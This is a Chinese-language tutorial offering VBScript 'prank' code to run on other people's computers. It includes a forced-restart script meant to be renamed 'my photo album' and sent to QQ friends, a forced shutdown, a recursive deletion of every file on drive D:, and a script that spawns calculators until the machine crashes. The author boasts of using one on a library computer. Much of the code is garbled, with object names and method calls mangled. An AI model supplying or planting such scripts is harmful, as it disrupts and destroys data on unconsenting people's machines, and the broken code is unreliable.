如何惡搞朋友的電腦？超簡單的vbs代碼

今天給大家帶來一個整人的VBS腳本，對方不説“我是豬”就定時關機的惡搞腳本，如果把他發給你的QQ好友 他不懂的話如果不輸“我是豬“” 電腦就會在你設定的時間內關機。我在以下代碼內設置的是3分鐘。

“我是豬”惡搞示範

（01）新建文本文檔，複製代碼。

（02）代碼如下：on error resume nextdim WSHshellAset WSHshellA = teobject("l") " /c shutdown -r -t 180 -c ""説我是豬，不説我是豬就一分鐘關你機，不信，你試試···"" ",0 ,truedim ado while(a <> "我是豬")a = inputbox ("説我是豬,就不關機，快撒，説 ""我是豬""　","説不説","不説",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早説就行了嘛,呵呵，豬"dim WSHshellset WSHshell = teobject("l") " /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

（03）保存記事本文檔，把txt文件的後綴名txt改成vbs。可以把名字寫成如“我的相冊”吸引人的字眼。

（04）雙擊運行，查看效果。

（05）如果不説“我是豬”或者輸入其他字的話，就會重複窗口，直到説“我是豬”為止。繼而彈出以下窗口：

（06）如果不小心自己點開了，有兩種解決方法：一是的輸入“我是豬”進行解除；二是按Windows+R鍵打開運行輸入shutdown -a來解除關機命令（注意此時不要點擊正在運行的彈窗的任何按鈕），接着打開任務管理器找到wscript並結束進程就OK 啦。

vbs整人代碼集合

（01）我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop

（02）打開無數個計算器，直到死機 ------------------------------------------------------------------------------ set wsh=createobject("l") do "calc" loop

（03）直接關機 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "shutdown -f -s -t 00",0 ,true

（04）刪除D:所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = teobject("l") "cmd /c ""del d:*.* / f /q /s""",0 ,true

（05）按500次回車 (以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改) dim s do until s=500 s=s+1 msgbox "哥們，給我按500次回車吧",64 loop

（06）不斷按下alt+f4 （開什麼都關閉……） dim WSHshell set WSHshell = teobject("l") while(1) Keys "%{F4}" loop